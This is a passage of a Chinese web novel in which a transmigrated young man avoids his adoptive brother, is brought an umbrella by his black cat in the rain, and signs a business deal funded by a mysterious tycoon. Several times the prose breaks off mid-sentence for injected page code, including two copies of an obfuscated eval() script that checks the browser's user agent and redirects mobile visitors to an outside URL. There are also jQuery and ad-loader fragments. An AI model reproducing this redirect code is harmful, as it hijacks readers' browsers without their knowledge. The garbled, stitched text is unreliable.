黑猫被沈南风夸得不好意思,脸上的毛毛又厚又黑,看不出什么,但是那露出来的耳朵内侧却是红得几乎能滴血。
小豆丁得知黑猫抓了一条大鲫鱼给沈南风,也兴冲冲跑过来围观。
一大一小围着黑猫疯狂吹彩虹屁,那架势,不知道的还以为黑猫拯救了世界!
秦老爷子捏了捏眉心,但看着沈南风总算打起精神,不再蔫哒哒的,没忍住轻笑了一声。
回去的路上,沈南风看着自己桶里那几条鲫鱼,突发奇想,“秦爷爷,要不咱们把这几条鱼养起来吧?”
秦老爷子:“哈?”
“这是球球第一次给我抓鱼,我想留个纪念。”沈南风说着,又用那种亮晶晶的眼神去看黑猫。
黑猫表面淡定,可那下压的飞机耳和躲闪的眼神却暴露了它的赧然。
沈南风再次被黑猫可爱到,脸上的笑容怎么都止不住。
“爷爷,我还没养过鱼呢,你就答应大哥哥吧!”小豆丁也拉着秦老爷子的袖子撒娇。
秦老爷子看着这一大一小同款期待的表情,实在说不出拒绝的话,“知道了,回头我倒腾个盆出来,但是这鱼能不能活我可不能保证。”
“爷爷放心,我会好好照顾这些小鱼的!”小豆丁拍着胸脯保证道。
沈南风倒是看得挺开,“要是真养不活就煮了吃,不能辜负球球的心意嘛。”
小豆丁歪了歪头,发现确实是这么个道理,连忙附和道,“大哥哥说得对!”
沈南风被小豆丁逗笑,摸了摸他的小脑袋。
秦老爷子见这会儿气氛还不错,便趁热打铁,提议道,“要是工作不好找,你就试试学一门技术,只要能力强,在哪里都混得开。”
“再不济就静下心来考公,这种笔试面试可没人敢随便插手。”
沈南风没想到秦老爷子会跟自己说这个,很是惊讶。
秦老爷子被他看得有些不自在,拉下脸凶巴巴道,“我就是个糟老头子,也不懂年轻人在想什么,要是觉得烦,我以后不说了。”
沈南风连忙摆手,“我不是这个意思,就是有些意外秦爷爷会操心我工作的事。”
他笑道,“秦爷爷能关心我,我很高兴,技术的话,我会考虑一下,之前学了不少东西,就是自己开店没本钱,风险也大,容易被人搞,不太实际,去给人打工,估计跟之前面试的那些公司差不多,干不了多久就会被辞退。”
“至于考公......其实我我只想赚到足够的钱然后躺平,没有那么高的觉悟,也不太喜欢跟人打交道,这要真考上了,估计......所以......”
秦老爷子没想到沈南风就这么点追求,表情那叫一个一言难尽。
沈南风摸了摸鼻子,小声哔哔,“咱们国家人那么多,优秀的人才遍地都是,也不差我这一个,没有我这种不思进取的废物,怎么能衬托那些人多厉害?”
秦老爷子满脸嫌弃,“那你要是找不到工作,以后怎么办?”
沈南风迟疑片刻,试探性开口道,“走一步看一步,实在不行死半路?”
秦老爷子:“......”
小豆丁:“......”
黑猫:“......”
秦老爷子拳头都硬了,很想给沈南风一个爆栗让他好好说话!
在心里默念了无数遍“这不是自家亲生的崽,不能随便揍”,他才将这种冲动压了下去。
秦老爷子深吸一口气,臭着一张脸硬邦邦道,“实在找不到工作就安心住下,钱的事不用急,慢慢来,只要我这个糟老头子还有一口气,总不至于叫你饿死。”
小豆丁也握住沈南风的手,稚嫩的童音很是认真,“大哥哥,你别死,我有好多零花钱,就算你没有工作,也能养你!”
沈南风心里酸酸涨涨的,眼睛也有些湿。
他将脸扭向一边,飞快眨了几下眼睛,将泪水逼了回去,才笑着调侃道,“哇,秦爷爷,你跟阳阳这样,我真的会忍不住带着球球一起吃软饭的!”
秦老爷子嫌弃地瞪了他一眼,却没有反驳。
沈南风笑得越发灿烂,那双琥珀色的眸子重新变得熠熠生辉。
他现在由衷觉得活着挺好,永远都不知道会有什么惊喜在前方等待。
就像曾经的他,做梦都没想到自己有朝一日还能啃老啃小啃猫猫!
黑猫看着沈南风神采奕奕的模样,尾巴尖儿轻轻翘了翘。
回去后,秦老爷子翻出来一个很久不用的小水缸。
沈南风跟小豆丁洗刷干净蓄满水将鲫鱼倒进去后,午饭也差不多做好了,是全鱼宴。
秦老爷子被他们的情绪感染到,再加上也想给沈南风做点什么,还特意弄了个小锅给黑猫炖鱼汤。
当然,看到沈南风小心翼翼将挑完刺的鱼肚子肉放到猫碗里,自己去吃鱼脊背上满是刺的肉,他嘴角抽了抽,默默移开视线,眼不见为净。
吃饱喝足,沈南风满血复活,再次换好衣服,出去碰运气。
最后一家面试结束时,已经到了下午。
天空乌云密布,整个城市都变得灰扑扑的,还有风卷着落叶从脚边掠过。
沈南风没带伞,担心会下雨,匆匆赶往附近的地铁站。
过马路时,一辆宾利突然停下,正好挡在他面前。
沈南风也没在意,打算绕开。
结果下一秒车窗降下,露出沈佑那张病弱苍白的清秀脸蛋。
沈南风:“......”
这还真是福无双至,祸不单行。
沈南风脚步一转,打算找个有红绿灯的路口再过马路。
不然他担心司机会故意撞倒他,再借着送他去医院的由头直接把他拉上车,那样就真的叫天天不应,叫地地不灵了!
可沈南风还没走两步,沈佑的声音就从身后响起,“南风哥哥,南风哥哥你等一下!”
沈南风充耳不闻,甚至直接开跑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744663|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!
他速度很快,可经过专业训练的保镖更快,眨眼的功夫就跑到他前面,长手一伸,直接拦住他的去路。
沈南风不动声色地环顾四周,发现不远处有个摄像头正在工作状态,稍稍松了一口气。
他迅速掏出手机,输入一串数字,然后按下拨通建。
在保镖们惊疑不定的目光中,沈南风眼弧微弯,声音也变得欢快了许多,“秦爷爷,我现在在华西东路凤凰大厦这边......对,面试已经结束了,只不过现在遇到了一点小麻烦,要是到了六点我还没到家,您能帮我报警吗?”
沈佑好不容易追上来,还没站稳,就听到这话,原本因为跑得太快微微泛红的脸颊霎时间变得煞白。
他嘴唇颤了颤,声音都带着哭腔,“南风哥哥,我不是——”
沈南风没有搭理沈佑,继续对电话那头道,“您放心,不是什么大事,我自己能解决......什么,让李叔叔和王阿姨来接我?这怎么行?他们在刑警大队上一天班已经很辛苦了,哪儿能为了这点小事特意跑一趟?要真有事,也是民事纠纷,不是刑事案件,警察同志就能解决,就不要麻烦大家了......嗯嗯,好,我会注意安全的,秦爷爷拜拜。”
挂断电话,沈南风冲拦路的两个保镖露出礼貌的微笑,“请问现在能放我走了吗?”
两个保镖面露难色,对视一眼,又看向沈佑。
沈佑本来就因为先天性心脏病身体不适很好,这会儿红着眼眶,穿着略显宽松的衣服,被风一吹,显得越发纤瘦,也分外可怜。
沈南风嘴角抽了抽,觉得沈佑这个举动无异于冲瞎子抛媚眼,妥妥的白费功夫。
他迅速拉开距离,并且打开录像模式,语气认真,“这位先生,我可什么都没做,也不想跟您有任何接触,您自己身体不好,要是有什么三长两短,可别赖我身上。”
沈佑没想到沈南风会是这么个反应,往常不管他怎么陷害对方,只要稍稍示弱,沈南风就会犹豫,然后纠结,最后还是会放软声音关心他。
他以为上次是沈博恒在场,沈南风全部注意都被吸引走才不在乎自己,这次却没办法自欺欺人。
如果说沈佑刚刚只是有一点委屈,这会儿就是铺天盖地席卷而来。
他仔细打量着沈南风的眉眼,明明还是那个人,对待别人时也依旧温柔谦和,怎么就......
沈南风被沈佑的目光盯得毛骨悚然,眉头不由蹙起,声音也冷了几分,“现在已经快五点了,我着急回家,您要是没别的事,我就先走了。”
沈佑下意识伸手想要拉住沈南风,却被沈南风一个闪身避开,并且再次拉开距离。
他的心仿佛坠入了无底深渊,面上血色也尽数褪去,“南风哥哥——”
沈南风微微一笑,直接打断他的话,“这位先生,咱俩既又没血缘关系,又没那么熟,您还是直接喊我名字吧,这一口一个南风哥哥的,是不是不太妥当?”
沈佑咬了咬下唇,小声嗫嚅道,“可当初是你同意让我这么喊你的......”
沈南风依旧保持微笑,“那我现在不让您这么喊了,您也能做到的对吧?”
沈佑:“......”
17.第 17 章
沈佑深吸一口气,装作什么都没听见,继续打感情牌,“南风哥哥,我知道是我不好,不该......”
瞥见沈南风举着的手机,他将没说完的话咽下去,仓促改口,“不该跟你闹矛盾,但是......但是爸爸妈妈还有大哥他们虽然嘴上不说,其实还是关心你的。”
“关心?”沈南风被沈佑这话给逗笑了,他双手抱胸,好整以暇问道,“你指的关心具体表现在哪里?是一个多月不闻不问,在我工作好不容易有了起色的时候跑过来直接搅黄?还在我重新找工作的时候落井下石,不让那些公司招聘我?”
“这关心要是给你,你要不要?”
沈佑一噎,一时半会儿竟是说不出话来。
沈南风又转向不远处站着的保镖们,“两位大哥,你们呢?想不想要?”
两个保镖冷汗直冒,完全不敢接话。
眼前这俩,一个是没有血缘关系但被宠爱了二十几年的小少爷,一个是不受宠但有血缘关系的二少爷,哪个他们都得罪不起。
沈南风自己也是打工人,知道他们也不容易。
只要这两个保镖不给自己添堵,他也无意为难。
说完,沈南风将目光重新落到沈佑身上,语气带了几分认真的意味,“你放心,我既然决定离开沈家,就不会再回去,更不会动摇你的地位。”
“你们就当我不存在,大家各自安好不行吗?”
形式比人强,沈南风不是不觉得原主可怜,也不是不想让那些曾经欺辱过原主的人受到同样甚至加倍的痛苦。
可他只是一个普通人,哪儿能跟顶级豪门抗衡?
因此比起将时间精力浪费在跟一群烂人纠缠并且大概率不得善终上,他更想过好自己的生活。
就像穿书前,他一直在做的都是努力提升自己,想要赚到足够的钱,然后斩断跟那些所谓的家人之间的联系,开启新的篇章,而不是在最该奋斗的年纪重新踏入泥潭,将重心放在痛苦质问发疯上,最后一事无成,年迈之时悔不当初。
虽然这个做法在很多人看来非常窝囊,可他又不是爽文男主,既没有胆子杀人放火,又没有足够的权势财富让人天凉王破,他只是一个没有任何金手指的普通人,能保全自己就不错了,哪儿敢奢求更多?
沈佑听到沈南风最后一句,神色扭曲了一瞬。
不过他最擅长伪装,很快又变成泫然欲泣的模样,可怜巴巴看着沈南风,“南风哥哥——”
沈南风突然跟沈佑这种听不懂人话的掰扯很没意思,还不如早点回家撸猫。
他撇了撇嘴,就要绕过保镖离开。
两个保镖犹豫了一下,对视一眼,还想继续阻拦。
沈南风面带微笑,声音温柔,说出来的话却带着浓浓的威胁意味,“现在已经五点十分了,我再不走,六点前肯定回不去,你们真想去刑警大队家属院喝茶?”
两个保镖头皮发麻,讪讪地收回手。
沈佑看着他毫不留恋的背影,捂住脸蹲到地上,仿佛一条被抛弃的小狗。
但是在无人看到的地方,他那双眼睛里却布满了阴鸷和偏执。
沈南风莫名脊背发寒,他警惕地四下张望,没发现什么危险,但出于对第六感的信任,他没敢磨蹭,加快脚步离开了这个地方。
*
地铁到站后,沈南风随着人流往外走。
顺着扶梯出站时,他看到出站口那里站了不少人。
沈南风有些疑惑,又往前走了两步,这才发现外面下起了大雨。
他看着周围等雨停的人,不知怎的,恍惚回到了曾经上学的时候,每次放学,都有很多家长过来接孩子,他每次都是自己走回家。
平时还好,到了下雨天,看着别的孩子要么牵着大人的手打着伞,要么穿着雨衣坐到车上,自己只能用身体护住书包往家跑,哪怕现在已经彻底想通,不愿意困在过去里。
可偶尔想起那些事,心里还是有些堵。
他深吸一口气,强迫自己打起精神。
就在这时,手机突然响了,是秦老爷子打过来的电话。
沈南风按下接听键,“喂,秦爷爷?”
“外面下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13754035|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雨了,你这会儿在哪里?”秦老爷子的声音从听筒里响起。
沈南风眼弧微弯,“刚下地铁,马上就回去。”
刚刚那通电话压根没有拨通,他只是想吓唬沈佑跟那两个保镖。
毕竟市中心距离家属院有点远,沈南风不想让秦老爷子一大把年纪了还为自己担心。
秦老爷子问道,“你带伞了没?”
沈南风刚要回答,周围站着的人突然惊呼出声。
沈南风疑惑,下意识看向目光聚集的方向。
那只叼着折叠雨伞的绿眼黑猫出现在视线中的瞬间,秦老爷子的话跟着响起,“算了,你在地铁口呆着,别乱走,我去借把伞,家里的那把被你养的猫叼走了——”
之后的话沈南风一个字都没听进去,就那样直愣愣看着黑猫穿过人群,来到他面前。
原以为经历过那么多不堪的事,咽下过数不清的痛苦委屈,不管遇到什么事,他都能泰然处之。
可现在,沈南风眼前却是一片朦胧。
黑猫有些担心,仰着脑袋看他。
周围的人越聚越多,甚至有人掏出手机想要拍照。
沈南风不是很喜欢被人围观,抬起胳膊擦掉眼泪,然后蹲下身,拿起伞,朝黑猫伸出手,“谢谢球球来接我,我们回家吧。”
黑猫看着自己湿漉漉的毛毛和脏兮兮的猫爪,犹豫了一下,往后躲了躲。
沈南风半点都不在意干净的衣服会被弄脏,直接将它抱进怀里。
他另一只手拿起伞,撑开后抱着黑猫踏进雨幕中。
雨下得越来越大,恨不得将伞都给击穿,还有风从四面八方吹过来,将人的头发和衣服都弄得乱糟糟的。
沈南风胸前的布料已经被黑猫身上的雨水浸湿,胳膊上也多了好几个梅花形状的泥印。
但他并不觉得凄凉,反而笑着亲了一口黑猫湿漉漉的脑袋,那双漂亮的琥珀色眸子里没有半分阴霾,满满的都是开心。
曾经那个只能在下雨天羡慕别人有家长接的孩子,如今长成了会被别人羡慕有猫送伞的大人了呢。
18.第 18 章
雨下得实在太大,哪怕有伞,沈南风还是被淋湿了大半。
但是黑猫冒雨送伞这件事让他心情极好,他脚步轻快,脸上的笑容始终没有减淡半分。
回到秦家,经过一番兵荒马乱,沈南风穿着干净的衣服坐在沙发上,捧着秦老爷子特意熬煮的红糖姜茶小口小口喝着。
黑猫趴在他身边,毛毛脸上写满了生无可恋。
原因无他,沈南风洗澡的时候顺便把它抓了进去,涂沐浴露的时候将它从头到脚摸了个遍倒也罢了,还笑眯眯地弹了一下......
想到那羞耻的画面,黑猫脸色爆红,整只猫都快熟透了!
可恶,这也要记到小本本上,以后一起要连本带利地讨回来!
沈南风冷不丁打了个哆嗦,红糖姜茶差点撒手上。
小豆丁立刻担忧地问道,“大哥哥,你是不是很冷啊?”
“确实有点。”沈南风看着窗外的瓢泼大雨,叹了一口气,面上满是愁色。
他穿过来的时候还是夏末,要不是为了找工作买了两件白衬衫和西装裤还有皮鞋,这会儿怕是只能穿着离开沈家时的短袖冻得瑟瑟发抖。
小豆丁歪了歪头,哒哒哒跑回房间,不知道捣鼓什么去了。
沈南风喝完最后一口红糖姜茶,还是觉得冷,便将黑猫抱到怀里。
没一会儿,一人一猫接触的地方瞬间变得暖烘烘的。
沈南风眼中满是羡慕,“球球,我要是也能有你这么厚实的毛毛就好了,这样肯定能省下来不少买衣服和棉被的钱。”
他本来觉得三万块挺多,应该能撑到发工资,结果工作工作找不到也就罢了,突如其来的降温更是直接打乱了他猥琐发育的计划。
沈南风将脸埋进黑猫顺滑温暖的毛毛里面,“可恶,这世上有钱人那么多,为什么不能多我一个!”
“就不能没有人无缘无故给我一大笔钱吗!”
黑猫抖了抖耳朵,漂亮的祖母绿猫瞳里满是笑意。
它抬爪,安抚地拍了拍沈南风的脑袋。
最迟明天赵茗就会过来,到时候自家小可怜铲屎官就不用再为工作发愁了。
“大哥哥,这个给你!”小豆丁抱着一摞厚衣服,吭哧吭哧跑了过来。
眼瞧着他视线被挡住,没注意地上的小马扎,沈南风连忙放下手里的黑猫,冲过去接住小豆丁,好悬没让他摔个大马趴。
小豆丁人小胆子大,丝毫没被吓到,还乐呵呵把衣服往沈南风怀里塞,“大哥哥,你快穿上,穿上就不冷啦!”
沈南风看着手里一堆小衣服,忍俊不禁,“谢谢阳阳,不过这些衣服有点小,我穿不上,还是你留着吧。”
“哎?”小豆丁顺便变成宇宙猫猫头,他看看沈南风,再瞅瞅手里的衣服,反应过来后瞬间跟霜打的茄子般蔫哒哒的。
沈南风正想给小豆丁顺毛,视线突然被一件黑色皮衣烟灰色牛仔裤挡住。
秦老爷子臭着一张脸,凶巴巴道,“这是阳阳爸爸的衣服,买回来还没上过身,你要是不介意,就拿去穿。”
说完,他又补充道,“不想要也没事,我再收起来。”
沈南风立刻起身,双手接过那套衣服,语气真诚,“谢谢秦爷爷。”
秦老爷子见他面带微笑,不像勉强的样子,脸色略微和缓。
沈南风进屋换好衣服,再出来时,小豆丁哈哈大笑,秦老爷子也没忍住,神色扭曲了一瞬。
沈南风摸了摸鼻子,有些不好意思。
不管是他还是原主,成年前日子都过得不太好,营养跟不上,因此身高只有178,骨架也属于纤细的那挂。
秦老爷子的儿子是刑警,身材自然不错。
因此沈南风穿着对方的衣服,不仅衣袖和裤腿长了许多,肩膀也完全撑不起衣服,裤腰还松松垮垮的,不用手提着随时都能掉下去。
不知道的,还以为他是哪个偷穿大人衣服的小孩儿。
秦老爷子找了条裤腰带,再把裤腿卷上去些许,看着才稍微正常了点。
只是看着这风格鲜明的衣服和叽叽喳喳说个不停的小豆丁,他神情恍惚,眼睛也有些湿润。
害怕在小辈面前失态,秦老爷子悄无声息躲回了房间。
沈南风听着门被关上的“咔哒”一声,叹了一口气,然后继续跟小豆丁聊天。
() {
$(''.inform'').remove();
$(''#content'').append(''
黑猫看着他的表情,歪了歪头,若有所思。
半小时后,雨停了,小豆丁兴奋地找小伙伴出去玩,沈南风没跟着,打算稍微收拾一下去买衣服和被子。
他刚要出门,一辆张扬的红色跑车就停到了秦家门口。
赵茗拎着大包小包下了车,看到沈南风,二话不说丢下东西直接给了他一个大大的拥抱!
沈南风只觉得一阵香气扑面而来,紧接着便贴上一个柔软的身体,瞬间脸色爆红。
黑猫看到赵茗,本来心情还不错,毕竟这人的出现就代表着自家铲屎官不用继续为钱发愁。
可看到这幕,它瞬间炸毛,想也不想朝着赵茗冲了过去!
赵茗正激动呢,腿上的异样感让她下意识低头。
对上黑猫凶巴巴的菜刀眼,她噗嗤一笑,非但没恼,还举起黑猫转了两圈,“哟,球球今天可真热情啊!”
黑猫:“......”
沈南风看着黑猫几乎摇成螺旋桨的尾巴和下压的飞机耳,暗道不妙。
在黑猫使出喵喵拳攻击前,他眼疾手快将其接了过来,然后抚摸着那炸开的毛毛,温声安抚道,“乖啦乖啦,别生气了,我等下给你煮虾虾吃好不好?”
黑猫听着他这哄孩子的口吻,顿时更气了!
那尾巴就跟小鞭子似的,抽在沈南风胳膊上,发出响亮的“啪啪”声。
“啧,这么久没见,你家猫怎么还这么凶?”赵茗笑眯眯凑过来,调侃道。
“球球它平时不这样,今天可能是有点应激,被茗茗姐吓到了。”沈南风握住黑猫试图攻击赵茗的猫爪,无奈地解释道。
“是吗?”赵茗眉梢微挑,“人家都说先有熊家长再有熊孩子,南风,你们这是先有熊铲屎官再有熊猫猫吗?”
沈南风:“哎?”
他看看赵茗,再低头瞅瞅黑猫,眨了眨眼,满脸无辜,“可是球球它一点都不熊啊?”
赵茗嘴角微微抽搐,吐槽道,“......说这话之前,你敢不敢把你家猫放下去,看它会不会挠我?”
沈南风默默将黑猫往怀里揣了揣,露出一个尴尬又不失礼貌的微笑。
19.第 19 章
沈南风轻咳一声,转移话题道,“对了,茗茗姐刚刚那么开心,是遇到什么好事了吗?”
提到这个,赵茗立刻将黑猫抛到脑后,“确实是好事,但能不能一直好下去,还得看你。”
沈南风不明所以,“看我?”
赵茗微笑,从包里掏出一沓文件,“你先看看这个。”
沈南风抽出一只手接过文件,由于抱着黑猫不太方便站着翻阅,他便对赵茗道,“茗茗姐,我们进去说吧。”
赵茗点点头,重新拿起她买的那些东西跟了进去。
进屋后,沈南风坐到沙发上,将黑猫放在自己腿上。
这个姿势正好方便了黑猫,它一目十行扫完文件内容,确定赵茗没有坑沈南风,悬着的心终于放了下来,尾巴尖儿也优哉游哉晃悠着。
突然,它察觉到什么,动作一顿。
黑猫缓慢抬头,对上赵茗探究的目光时,瞬间压力山大!
它知道自己这会儿绝对不能露怯,装作若无其事的样子移开视线,往沈南风怀里拱了拱。
沈南风下意识伸手摸了摸黑猫毛茸茸的小脑袋,看完文件后,正要说些什么,见赵茗直勾勾盯着自己腿上的猫,疑惑地歪了歪头,“茗茗姐,怎么了?”
黑猫身体再次僵住,耳朵也下压成飞机耳的形状,心虚到了极点。
别看它记仇的小本本上已经攒了不少旧账等着清算,可真要让沈南风知道它并不是猫,而是大活人......
黑猫:它不是怂,只是从心,谢谢。
“没什么。”赵茗红唇微勾,语气戏谑,“只是觉得你这只猫挺有趣的。”
沈南风在其他事上都能游刃有余,唯独黑猫这边智商直线下滑,听到这话,脸上瞬间扬起灿烂的笑容,捏了捏黑猫软乎乎的爪垫,声音也变得非常荡漾,“那是自然,我们家球球是世界上最可爱的小猫猫,没有之一!”
赵茗看着几乎有成年田园犬大小的黑猫,陷入沉默,紧接着,四处张望起来。
“茗茗姐,您在找什么?”沈南风关切地问道。
黑猫也有些疑惑,目光下意识在地上逡巡。
赵茗道憋笑,一本正经道,“你的眼镜。”
“啊?”沈南风茫然,“我不戴眼镜啊。”
赵茗终于绷不住,笑出了声,“是吗,怪不得近视得这么厉害,竟然会说这样一只膘肥体壮的恶猫又小又可爱。”
沈南风:“......”
黑猫:“......”
“好了,不闹你们了。”赵茗点到为止,递过来一支笔,“你要是觉得分成不错,就把合同签了。”
沈南风迟疑片刻,提醒道,“茗茗姐,这可不是什么小事,要是谁不小心走漏了风声,您肯定会被沈博恒报复的!”
赵茗见沈南风第一反应不是欣喜若狂,而是担心她的情况,对沈南风越发满意。
“我已经不是从前的赵茗了,现在请叫我钮祜禄·赵茗!”她俏皮地对沈南风wink了一下,“放心好了,就算沈博恒想对付我,也有金大腿帮我怼回去!”
“哎?”沈南风很是惊讶,“茗茗姐的金大腿比沈家还厉害?”
“那当然!”赵茗竖起大拇指,满脸与有荣焉,“在那位面前,就算是沈博恒的亲爹都不敢随便造次!”
沈南风这下是真的好奇赵茗新找到的靠山是谁了,但涉及到对方的隐私,赵茗不主动说,他也不好问,因此,只笑了笑,道,“那就好。”
赵茗身体微微前倾,眼睛都在放光,“所以你这是答应跟我合作了?”
沈南风莞尔,“我应该没有理由拒绝吧?”
“哈哈,这是自然。”赵茗说着,直接递过来一张支票,“对了,这个给你。”
沈南风双手接过,看清数额后,瞬间倒吸一口凉气,眼睛也瞪得浑圆!
他难以置信,再三确认上面确实是壹百万元整,旁边的数字也没出错,手都有些哆嗦,“茗茗姐,这、这也太多了吧?”
“人家愿意给,你收着就是,客气什么?”赵茗红唇微勾,显然心情非常好。
“人家?”沈南风有些疑惑,视线从金额下移,看到出票人签章那里印着的“顾西洲”三个字,莫名觉得有些熟悉。
他皱眉思忖片刻,小心翼翼问道,“茗茗姐,这个顾西洲是?”
“顾氏集团董事长啊,你不认识?”赵茗眼中满是新奇,“对了,他还是你那个好弟弟未婚夫同父异母的哥哥呢。”
沈南风:“......”
沈南风:!!!
夭寿啊!
这不是原著中那个喜怒无常、暴戾恣睢的大反派?
好端端的,那人怎么盯上他了!
赵茗见他一副如遭雷劈的样子,身体微微前倾,脸上写满了好奇,“怎么,你跟他关系不好?”
黑猫心顿时提了起来,竖起耳朵等着沈南风的回答。
沈南风挠了挠头,“呃,这个......”
他压根没见过顾西洲,只从那本书里知道对方的存在,连关系都没有,更别提好不好了。
沈南风无奈,便去翻阅原主的记忆,然后发现因着沈家人担心让外人知道真假少爷的事后会有人说些不好听的话刺激到患有先天性心脏病的沈佑,因此一直瞒着沈南风的身份。
偶尔有那撞到沈南风存在的,也只以为沈南风是沈父在外面的私生子。
当然,因着这个,原主没少受委屈。
想到这里,沈南风忍不住叹了一口气,越发坚定了不跟沈家有任何牵扯的决心。
确定原主跟顾西洲没什么接触后,沈南风斟酌了一下词汇,回答道,“我跟顾先生不是很熟,之前也没什么往来,所以有些惊讶。”
赵茗拍了拍胸口,狠狠地松了一口气,“你们没有仇就好。”
她虽然喜欢钱,却不至于为了钱把自己的朋友踹进火坑。
沈南风笑了笑,“对了,茗茗姐,这无缘无故的,顾先生为什么要给我这么多钱?”
赵茗下意识环顾四周,确定没人偷听,这才压低声音道,“前段时间的事你听说了没?”
沈南风好奇,“什么事?”
“就那个车祸,事后查出来那几个司机被人买通想要谋杀顾西洲,现在已经铁窗泪了。”赵茗哼了一声,眼中满是讥讽,“但明眼人都能看得出来那是谁做的,只是屁股擦得太干净,找不到任何雇凶杀人的证据,最后只能不了了之。”
沈南风一怔,突然想到一件事。
原剧情里顾西洲跟原主压根没什么交集,唯一扯得上关系的便是作者或许是为了方便,设定同一时刻,这两人一个死在那场车祸,另一个从楼顶一跃而下,成了植物人。
之后顾西洲的私生子弟弟经过一番斗争成功掌权顾氏集团,假少爷沈佑也顺理成章得到原主的心脏。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
一直以来困扰两个主角的问题彻底解决,他们这才能幸福地生活在一起。
但现在这是什么情况?
他穿书改变了原主的命运,顾西洲难不成也被人穿了?
沈南风咽了一口口水,小心翼翼试探道,“茗茗姐最近见过顾先生?”
“这倒没有,我们是短信联系的。”赵茗耸了耸肩,“支票也是他的助理拿给我的。”
“这样啊。”沈南风点点头,虽然不知道为什么顾西洲没有死,但对方似乎没有针对自己的意思,便没有深究这个问题。
他想了想,问道,“所以顾先生帮我是因为看沈博恒和沈佑不爽,想拿我当工具膈应他们?”
黑猫气闷。
它明明是想让自家铲屎官不要那么辛苦,膈应沈家人只是顺带的,怎么就成了把沈南风当工具人?
黑猫磨了磨后槽牙,将这一笔又记到小本本上,等它变成人了再好好清算!
“就是这样。”赵茗微笑,“所以你收着就是,不需要有那么重的心理负担。”
她说完,又补充道,“当然,前提是你得站在顾先生那边,要是被沈家三言两语哄回去......”
赵茗打了个哆嗦,语气是前所未有的认真,“朋友,你才二十岁出头,人生才刚刚开始,千万别想不开啊!”
黑猫菜刀眼凉飕飕盯着赵茗。
这说的什么话?
它有那么恐怖吗?
但仔细一想,如果沈南风不是它的铲屎官,而是其他人,拿了它的好处却扭头背叛他投靠敌方阵营......
黑猫抬头看天。
好吧,它真的会让那个不识好歹的家伙吃不了兜着走!
沈南风噗嗤一笑,不过也没反驳赵茗的话,因为顾西洲在原著里面确实是个睚眦必报的性子。
就算太阳从西边出来,那人都绝对不可能以德报怨。
沈南风打开笔帽,动作利索地在合同上签下自己的名字,然后将其中一份递给赵茗,“茗茗姐你放心,我又不傻,没那么容易被人骗,所以合作愉快?”
赵茗接过文件,确定签名没出错,这才握住沈南风的手,“合作愉快!”
“既然你这边没问题,明天上午我来接你,然后去办入职手续?”
沈南风笑着点了点头,“那就麻烦茗茗姐了。”
“赚钱的事,一点都不麻烦。”赵茗晃了晃手中的文件,心情格外美妙,“行了,我还有其他事,先走了。”
说着,她就要起身。
“哎,茗茗姐不见见阳阳和秦爷爷吗?”沈南风连忙开口。
“下次吧,我这次带了大闸蟹和羊蝎子,你赶紧炖上,不然等秦爷爷回来,肯定要让我拎走。”赵茗摆摆手,踩着十五公分的高跟鞋健步如飞,没一会儿就到了车上,“我们约好了啊,明天上午九点我来接你!”
沈南风抱着黑猫目送她离开,脸上满是笑意。
于是,等小豆丁从小伙伴家回来,还没来得及为大闸蟹和羊蝎子欢呼,就得知沈南风从明天起要开始上班的噩耗。
而他假期也要结束了,之后一周也有五天要去上课。
小豆丁垮着一张包子脸,抱着沈南风的腿可怜巴巴道,“大哥哥,我们这是要妻离子散了吗?”
沈南风和黑猫头顶齐齐冒出三个黑色问号。
秦老爷子默默捂脸,突然很想否认这个小豆丁是他亲孙子的事实。
20.第 20 章
“哎,不是吗?”小豆丁眨巴着他那双黑葡萄般的大眼睛,满是无辜,“我看电视上一家人分开就是这么说的。”
沈南风嘴角微微抽搐,突然有些同情秦老爷子。
据说现在当家长特别辛苦,除了最基本的学费生活费班费、接送孩子上学、开家长会这些常规操作,还要另外辅导孩子写功课,帮孩子批改作业并且签名。
就小豆丁这语不惊人死不休的架势,绝对能在成语造句时写出“晚上我的爷爷络绎不绝回到家里”这种答案!
他叹了一口气,认真给小豆丁解释了一下妻离子散的意思。
小豆丁似懂非懂,琢磨了一会儿,试探性开口道,“那......棒打鸳鸯?”
沈南风:“......”
成语用得很好,下次别用了,真的。
黑猫目光鄙夷,就小豆丁这三头身还想跟沈南风当鸳鸯?
它都不用变成人形,猫猫形态就能把这小东西揍得哇哇大哭!
翌日上午,沈南风坐上赵茗的车,来到了市中心。
刚到咖啡店门口,他就被里面豪华的装修震撼到,没忍住压低声音询问赵茗,“茗茗姐,这真的是咖啡店,而不是什么高级私人会所?”
赵茗面带微笑,嘴唇微动,同样小声回答道,“人傻钱多呗,不然怎么用得上咱们?”
沈南风一想,发现确实是这么个道理,微微点头,表示明白了。
可即便他已经做足了心理准备,可来到那一看那堪称奢侈的偌大办公室时,还是有些绷不住。
这只是一家咖啡店,不是什么前五百强大企业,办公室弄这么好是要上天吗!
就在沈南风心中的槽点不断往外冒时,正对着落地窗的黑色老板椅缓缓旋转。
身穿酒红色西装,容貌极其艳丽的青年双腿交叠,手放在膝上,瞥了两人一眼,语气淡淡,“来了?”
沈南风:“......”
赵茗:“......”
